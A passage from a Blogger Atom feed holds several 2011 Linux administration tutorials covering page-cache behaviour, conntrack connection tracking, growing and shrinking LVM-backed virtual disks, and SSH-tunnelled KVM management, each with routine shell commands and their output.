1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@zabbix ~]# cat  /proc/sys/vm/drop_caches&lt;br /&gt;0&lt;br /&gt;&lt;br /&gt;[root@zabbix ~]# sync ; echo 1 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;&lt;br /&gt;[root@zabbix ~]# top&lt;br /&gt;...&lt;br /&gt;Mem:   4044540k total,  1756996k used,  &lt;b&gt;2287544k free&lt;/b&gt;,     1572k buffers&lt;br /&gt;Swap:  2097144k total,        0k used,  2097144k free,    &lt;b&gt;62564k cached&lt;/b&gt;&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We can demonstrate the cached memory operation through an easy bash script. The program will search twice the word "test" inside all files of the &lt;i&gt;/var/log/httpd&lt;/i&gt; directory.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@zabbix ~]# cat script.sh&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;for (( i=0; i&amp;lt;2; i++))&lt;br /&gt;do&lt;br /&gt;   free -o -m&lt;br /&gt;   /usr/bin/time -f "\nSeek time: %e sg\n" grep -r test /var/log/httpd/ &amp;gt; /dev/null&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;[root@zabbix ~]# ./script.sh&lt;br /&gt;             total       used       free     shared    buffers     cached&lt;br /&gt;Mem:          3949       1712       2237          0          2        &lt;b&gt;101&lt;/b&gt;&lt;br /&gt;Swap:         2047          0       2047&lt;br /&gt;&lt;br /&gt;Seek time: &lt;b&gt;3.76 sg&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;             total       used       free     shared    buffers     cached&lt;br /&gt;Mem:          3949       2003       1946          0          3        &lt;b&gt;412&lt;/b&gt;&lt;br /&gt;Swap:         2047          0       2047&lt;br /&gt;&lt;br /&gt;Seek time: &lt;b&gt;0.50 s&lt;/b&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In the first loop you can see that the cached memory was 101 MB and it spent 3.76 sg looping through all files. But in the second loop, the 'grep' command spent 0.5 sg because the files were already cached on memory (its size grew from 101 MB to 412 MB).&lt;br /&gt;&lt;br /&gt;If we take a look at the size of the &lt;i&gt;/var/log/httpd&lt;/i&gt; directory, we can appreciate that the cached memory increment practically matchs with the size of that directory.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@zabbix ~]# du -shx /var/log/httpd/&lt;br /&gt;318M     /var/log/httpd/&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-3369646128875394046?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/3369646128875394046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/02/cached-memory-in-linux.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3369646128875394046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3369646128875394046'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/02/cached-memory-in-linux.html' title='Cached memory in Linux'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-6302928392947387664</id><published>2011-02-13T13:15:00.005+01:00</published><updated>2011-11-01T21:54:25.216+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Networking'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Following up network connections with conntrack (I)</title><content type='html'>Linux has got the ability to perform a monitoring of existing connections by means of the conntrack module, which is compiled but not installed in distributions such as RHEL or CentOS. In order to load it, you can run the next order.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# modprobe ip_conntrack&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In other operating systems like Debian or Ubuntu Server, first of all you must install the conntrack package and load the &lt;i&gt;nf_conntrack_ipv&lt;/i&gt;4 module (if you want to work with IPv6, you will have to load the &lt;i&gt;nf_conntrack_ipv6 module&lt;/i&gt;).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# aptitude install conntrack&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# modprobe nf_conntrack_ipv4&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The conntrack module allows the kernel to register in a table all network connections of the system (established, time_wait, close, etc.). It used by several applications such as iptstate (it  shows information about the state of the system connections) or Shorewall (firewall).&lt;br /&gt;&lt;br /&gt;Another example of use for this module it is for instance, when the server has to realize NAT tasks with iptables and it is necessary to keep a table of connections implicated.&lt;br /&gt;&lt;br /&gt;The file where conntrack logs all connections is &lt;i&gt;/proc/net/ip_conntrack&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /proc/net/ip_conntrack&lt;br /&gt;tcp      6 89 TIME_WAIT src=192.168.1.11 dst=192.168.1.12 sport=59302 dport=10050 packets=5 bytes=291 src=192.168.1.12 dst=192.168.1.11 sport=10050 dport=59302 packets=5 bytes=289 [ASSURED] mark=0 secmark=0 use=1&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# conntrack -L&lt;br /&gt;tcp      6 89 TIME_WAIT src=192.168.1.11 dst=192.168.1.12 sport=59302 dport=10050 packets=5 bytes=291 src=192.168.1.12 dst=192.168.1.11 sport=10050 dport=59302 packets=5 bytes=289 [ASSURED] mark=0 secmark=0 use=1&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The two first fields are the connection protocol (TCP, 6) and then is the connection state (TIME_WAIT). The rest of the fields represent the IP addresses and ports involved, as well as the number of packets and bytes exchanged between the two points of the connection.&lt;br /&gt;&lt;br /&gt;You have also to take into account that Linux saves the connection state in memory, and each of them uses around 350 bytes.&lt;br /&gt;&lt;br /&gt;If you want to know how many open connections has got the system, you can utilize the following sentences.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /proc/net/ip_conntrack | wc -l&lt;br /&gt;856&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# cat /proc/sys/net/ipv4/netfilter/ip_conntrack_count&lt;br /&gt;856&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# conntrack -C&lt;br /&gt;856&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This value is quite important because if at any moment we appreciate that any of our services works slowly (for instance Apache) or many connections are rejected, it can be due to which the number of open connections exceeds the maximum number of connections allowed.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /proc/sys/net/ipv4/netfilter/ip_conntrack_max&lt;br /&gt;65536&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The size of the hash table is also limited.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /proc/sys/net/ipv4/netfilter/ip_conntrack_buckets&lt;br /&gt;16384&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If you want to modify it, you must do it when the module is loaded.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# modprobe nf_conntrack_ipv4 hashsize=32768&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-6302928392947387664?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/6302928392947387664/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/02/following-up-network-connections-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/6302928392947387664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/6302928392947387664'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/02/following-up-network-connections-with.html' title='Following up network connections with conntrack (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-4616055558377708210</id><published>2011-02-06T13:21:00.005+01:00</published><updated>2011-11-01T21:54:59.718+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Fitting virtual disks after reducing</title><content type='html'>This is the continuation of the article &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/01/shrinking-virtual-disks-with-lvm.html"&gt;Shrinking virtual disks with LVM&lt;/a&gt;. It turns out that once you have mirrored your virtual disk to another smaller, it is normal to have wasted some space in the process, that is to say, an area of the new virtual disk which has been unused.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_EvoxXLEnC6E/TU6j-bbnchI/AAAAAAAAAj8/16GGqBwOit4/s1600/Fitting%2Bvirtual%2Bdisks%2Bafter%2Breducing%2B%2528I%2529.JPG"&gt;&lt;img alt="" border="0" height="116" id="BLOGGER_PHOTO_ID_5570570082014687762" src="http://1.bp.blogspot.com/_EvoxXLEnC6E/TU6j-bbnchI/AAAAAAAAAj8/16GGqBwOit4/s400/Fitting%2Bvirtual%2Bdisks%2Bafter%2Breducing%2B%2528I%2529.JPG" style="display: block; height: 116px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For this reason, we are going to learn in this article how to recover it. At this moment, the available size of our new disk is 16 GB.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# lvs&lt;br /&gt;LV       VG         Attr   LSize  Origin Snap%  Move Log Copy%  Convert&lt;br /&gt;LogVol00 VolGroup00 -wi-ao 16,00G                            &lt;br /&gt;LogVol01 VolGroup00 -wi-ao  1,00G&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The idea is to create a new partition on the disk in order to take that unutilized space. The partition type must be Linux LVM (8e hexadecimal code).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# fdisk /dev/sda&lt;br /&gt;...&lt;br /&gt;Orden (m para obtener ayuda): n&lt;br /&gt;Acción de la orden&lt;br /&gt;e   Partición extendida&lt;br /&gt;p   Partición primaria (1-4)&lt;br /&gt;p&lt;br /&gt;Número de partición (1-4): 3&lt;br /&gt;Primer cilindro (2241-2480, valor predeterminado 2241):&lt;br /&gt;Se está utilizando el valor predeterminado 2241&lt;br /&gt;Último cilindro o +tamaño o +tamañoM o +tamañoK (2241-2480, valor predeterminado 2480):&lt;br /&gt;Se está utilizando el valor predeterminado 2480&lt;br /&gt;&lt;br /&gt;Orden (m para obtener ayuda): t&lt;br /&gt;Número de partición (1-4): 3&lt;br /&gt;Código hexadecimal (escriba L para ver los códigos): 8e&lt;br /&gt;Se ha cambiado el tipo de sistema de la partición 3 por 8e (Linux LVM)&lt;br /&gt;&lt;br /&gt;Orden (m para obtener ayuda): w&lt;br /&gt;&lt;br /&gt;[root@centos ~]# partprobe&lt;br /&gt;&lt;br /&gt;[root@centos ~]# fdisk -l&lt;br /&gt;&lt;br /&gt;Disco /dev/sda: 20.4 GB, 20401094656 bytes&lt;br /&gt;255 heads, 63 sectors/track, 2480 cylinders&lt;br /&gt;Unidades = cilindros de 16065 * 512 = 8225280 bytes&lt;br /&gt;&lt;br /&gt;Disposit. Inicio    Comienzo      Fin      Bloques  Id  Sistema&lt;br /&gt;/dev/sda1   *           1          13      104391   83  Linux&lt;br /&gt;/dev/sda2              14        2241    17891328+  8e  Linux LVM&lt;br /&gt;/dev/sda3            2241        2480     1924849   8e  Linux LVM&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Next step is to set up a PV (physical volume) on that new partition.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# pvcreate /dev/sda3&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we have to add the new PV created to the existing VG (volume group) and then, extend the LV (logical volume).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# vgextend VolGroup00 /dev/sda3&lt;br /&gt;&lt;br /&gt;[root@centos ~]# lvextend -l +100%FREE /dev/VolGroup00/LogVol00&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, we must only to expand the ext3 filesystem.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# resize2fs /dev/VolGroup00/LogVol00&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;After the operation, we have retrieved 1,81 GB.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# lvs&lt;br /&gt;LV       VG         Attr   LSize  Origin Snap%  Move Log Copy%  Convert&lt;br /&gt;LogVol00 VolGroup00 -wi-ao 17,81G                             &lt;br /&gt;LogVol01 VolGroup00 -wi-ao  1,00G&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;So as to realize the task, it is not necessary to put the machine into rescue mode and it can be performed on hot.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-4616055558377708210?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/4616055558377708210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/02/fitting-virtual-disks-after-reducing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4616055558377708210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4616055558377708210'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/02/fitting-virtual-disks-after-reducing.html' title='Fitting virtual disks after reducing'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_EvoxXLEnC6E/TU6j-bbnchI/AAAAAAAAAj8/16GGqBwOit4/s72-c/Fitting%2Bvirtual%2Bdisks%2Bafter%2Breducing%2B%2528I%2529.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-8513781208755544026</id><published>2011-01-30T13:21:00.006+01:00</published><updated>2011-11-01T21:56:22.080+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Remote management on KVM with SSH</title><content type='html'>When we set up virtual machines with libvirt/KVM on production environments, it is typical that the operating system where we want to create the virtual machines, it does not have a graphical user interface as Gnome or KDE, where we can run the Virtual Machine Manager in order to make or handle them.&lt;br /&gt;&lt;br /&gt;For this reason, it is necessary to connect it remotely through Virtual Machine Manager so as to set up new virtual machines where a graphical wizard is required.&lt;br /&gt;&lt;br /&gt;In this article, we are going to establish a connection over SSH from a Kubuntu 10.10 to a KVM hypervisor located on an Ubuntu Server 10.10. In this way, the libvirt management connection will be securely tunneled over an SSH connection.&lt;br /&gt;&lt;br /&gt;In the following figure, you can see the needed packages which must be installed on each computer. Remember that I already presented a series of articles related to KVM virtualization (&lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-i.html"&gt;I&lt;/a&gt;, &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-ii.html"&gt;II&lt;/a&gt;, &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-iii.html"&gt;III&lt;/a&gt; and &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/12/kvm-virtualization-on-ubuntu-iv.html"&gt;IV&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_EvoxXLEnC6E/TUVeHqz3yVI/AAAAAAAAAjo/At5E5_05NqQ/s1600/Remote%2Bmanagement%2Bon%2BKVM%2Bwith%2BSSH%2B%2528I%2529.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5567960000157436242" src="http://1.bp.blogspot.com/_EvoxXLEnC6E/TUVeHqz3yVI/AAAAAAAAAjo/At5E5_05NqQ/s400/Remote%2Bmanagement%2Bon%2BKVM%2Bwith%2BSSH%2B%2528I%2529.jpg" style="cursor: hand; cursor: pointer; display: block; height: 291px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;First of all, we must start the libvirtd daemon on the Ubuntu Server. We will also ensure that in successive starts, the daemon will run automatically.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@ubuntu-server:~$ sudo service libvirt-bin start&lt;br /&gt;&lt;br /&gt;javi@ubuntu-server:~$ sudo update-rc.d libvirt-bin defaults&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Then, we must generate a public key pair on the computer (kubuntu) where the Virtual Machine Manager (virt-manager package) will be used. In the next step, we have to copy the keys to the machine (ubuntu-server) where libvirtd will be running.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@kubuntu:~$ ssh-keygen -t rsa&lt;br /&gt;&lt;br /&gt;javi@kubuntu:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub javi@ubuntu-server&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In the previous output, we have copied the keys to the javi user home, where 'javi' is a simple user (no root) of ubuntu-server with rights to manage libvirt (by default, any user belonging to libvirtd group can handle libvirt).&lt;br /&gt;&lt;br /&gt;And finally, we only have to to make a remote connection over SSH from the Virtual Machine Manager to the hypervisor located on the Ubuntu Server.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_EvoxXLEnC6E/TUVgs9JaOaI/AAAAAAAAAjw/mrRCM54qOFw/s1600/Remote%2Bmanagement%2Bon%2BKVM%2Bwith%2BSSH%2B%2528II%2529.jpeg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5567962839758027170" src="http://1.bp.blogspot.com/_EvoxXLEnC6E/TUVgs9JaOaI/AAAAAAAAAjw/mrRCM54qOFw/s400/Remote%2Bmanagement%2Bon%2BKVM%2Bwith%2BSSH%2B%2528II%2529.jpeg" style="cursor: hand; cursor: pointer; display: block; height: 400px; margin: 0px auto 10px; text-align: center; width: 361px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-8513781208755544026?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/8513781208755544026/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/01/remote-management-on-kvm-with-ssh.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8513781208755544026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8513781208755544026'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/01/remote-management-on-kvm-with-ssh.html' title='Remote management on KVM with SSH'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_EvoxXLEnC6E/TUVeHqz3yVI/AAAAAAAAAjo/At5E5_05NqQ/s72-c/Remote%2Bmanagement%2Bon%2BKVM%2Bwith%2BSSH%2B%2528I%2529.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-1405275450444465073</id><published>2011-01-23T17:25:00.005+01:00</published><updated>2011-11-01T21:58:12.208+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Shrinking virtual disks with LVM</title><content type='html'>It is possible that what I am going to tell next can be done in other ways, but I am really sure that it will be very useful for many people. Have you ever thought how to reduce a virtual disk on VMware, KVM, Xen, etc. with a Linux filesystem created inside?&lt;br /&gt;&lt;br /&gt;If the virtual disk just contains a filesystem such as ext3, ext4, btrfs, etc., the solution is easy: use any partition tool like GParted, shrink the partition or partitions and copy them to another virtual disk smaller.&lt;br /&gt;&lt;br /&gt;But what happens if that virtual disk has a filesystem over a Logical Volume (LV)? The solution is not trivial, since partion tools do not support Logical Volume Management (LVM).&lt;br /&gt;&lt;br /&gt;Then I am going to explain my solution. For my tests, I will use a CentOS 5.5 virtual machine under VMware vSphere, with a virtual disk of 64 GB (sda). That virtual disk will have two partitions: sda1 (107 MB) and sda2 (63,88 GB).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# fdisk -l&lt;br /&gt;&lt;br /&gt;Disco /dev/sda: 68.7 GB, 68719476736 bytes&lt;br /&gt;255 heads, 63 sectors/track, 8354 cylinders&lt;br /&gt;Unidades = cilindros de 16065 * 512 = 8225280 bytes&lt;br /&gt;&lt;br /&gt;Disposit. Inicio    Comienzo      Fin      Bloques  Id  Sistema&lt;br /&gt;/dev/sda1   *           1          13      104391   83  Linux&lt;br /&gt;/dev/sda2              14        8354    66999082+  8e  Linux LVM&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The second partition (sda2) will have two LVs, LogVol00 (data area) and LogVol01 (swap).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# lvs&lt;br /&gt;LV       VG         Attr   LSize  Origin Snap%  Move Log Copy%  Convert&lt;br /&gt;LogVol00 VolGroup00 -wi-ao 62,88G              &lt;br /&gt;LogVol01 VolGroup00 -wi-ao  1,00G&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;My goal will be to decrease the size of the virtual disk from 64 GB to 19 GB.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_EvoxXLEnC6E/TTxYMU0rEPI/AAAAAAAAAjQ/lv8WcrNbrYU/s1600/Shrinking%2Bvirtual%2Bdisks%2Bwith%2BLVM%2B%2528I%2529.JPG"&gt;&lt;img alt="" border="0" height="118" id="BLOGGER_PHOTO_ID_5565420208294400242" src="http://3.bp.blogspot.com/_EvoxXLEnC6E/TTxYMU0rEPI/AAAAAAAAAjQ/lv8WcrNbrYU/s400/Shrinking%2Bvirtual%2Bdisks%2Bwith%2BLVM%2B%2528I%2529.JPG" style="display: block; height: 118px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In order to be able to resize the ext3 filesystem, LV, VG (Volume Group), PV (Physical Volume) and sda2 partition, you must boot the computer in rescue mode (using for example a Live CD).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;boot: linux rescue&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;During the boot process, we will not mount the existing Linux installation and skip directly to the command shell. Then, we have to activate all known volume groups in the system and check the filesystem to rule out possible errors on it.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;sh-3.2# lvm vgchange -a y&lt;br /&gt;&lt;br /&gt;sh-3.2# e2fsck -f /dev/VolGroup00/LogVol00&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Afterwards, first we must resize the filesystem from 62,88 GB to 16 GB and then, the LV.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; 